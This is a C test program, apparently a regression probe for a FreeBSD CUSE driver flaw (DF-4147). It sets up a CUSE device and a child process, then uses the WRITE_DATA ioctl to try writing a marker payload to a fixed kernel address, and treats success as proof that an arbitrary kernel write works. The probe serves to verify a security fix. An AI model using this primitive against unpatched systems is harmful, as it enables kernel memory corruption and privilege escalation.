/* DF-4147 write-side probe: WRITE_DATA to a kernel address must fail
 * with EFAULT on the patched kernel (returned 0 = arbitrary write works). */
#include <sys/ioccom.h>
#include <sys/wait.h>
#include <stdint.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>

struct cuse_dev;
struct cuse_data_chunk { uintptr_t local_ptr, peer_ptr; unsigned long length; };
struct cuse_command { struct cuse_dev *dev; unsigned long fflags;
	uintptr_t per_file_handle, data_pointer; unsigned long argument, command; };
struct cuse_create_dev { struct cuse_dev *dev; uid_t u; gid_t g;
	int permissions; char devname[80]; };

#define	CUSE_IOCTL_GET_COMMAND	_IOR('C', 0, struct cuse_command)
#define	CUSE_IOCTL_WRITE_DATA	_IOW('C', 1, struct cuse_data_chunk)
#define	CUSE_IOCTL_SYNC_COMMAND	_IOW('C', 3, int)
#define	CUSE_IOCTL_CREATE_DEV	_IOW('C', 8, struct cuse_create_dev)

int
main(void)
{
	int fd = open("/dev/cuse", O_RDWR);
	struct cuse_create_dev cd;
	struct cuse_command cmd;
	char payload[16] = "PWNED-WRITE-TEST";
	struct cuse_data_chunk ck = {
		(uintptr_t)payload, 0xffffffff81144960UL, 15 };
	int rc, rv = -7, st;
	pid_t p;

	memset(&cd, 0, sizeof(cd));
	strlcpy(cd.devname, "wp1", sizeof(cd.devname));
	cd.permissions = 0666;
	if (ioctl(fd, CUSE_IOCTL_CREATE_DEV, &cd)) {
		printf("create: %s\n", strerror(errno));
		return 1;
	}
	p = fork();
	if (p == 0) {
		int c = -1, i;
		close(fd);
		setgid(65534);
		setuid(65534);
		for (i = 0; i < 300; i++) {
			c = open("/dev/wp1", O_RDWR);
			if (c >= 0)
				break;
			if (errno != ENOENT)
				break;
			usleep(1000);
		}
		_exit(c >= 0 ? 0 : 9);
	}
	if (ioctl(fd, CUSE_IOCTL_GET_COMMAND, &cmd)) {
		printf("getcmd: %s\n", strerror(errno));
		return 1;
	}
	printf("cmd=%lu\n", cmd.command);
	rc = ioctl(fd, CUSE_IOCTL_WRITE_DATA, &ck);
	printf("WRITE_DATA to kernel 0xffffffff81144960 -> rc=%d errno=%d (%s)\n",
	    rc, errno, strerror(errno));
	ioctl(fd, CUSE_IOCTL_SYNC_COMMAND, &rv);
	wait(&st);
	printf("child st=%d\n", WEXITSTATUS(st));
	return (rc != 0);
}
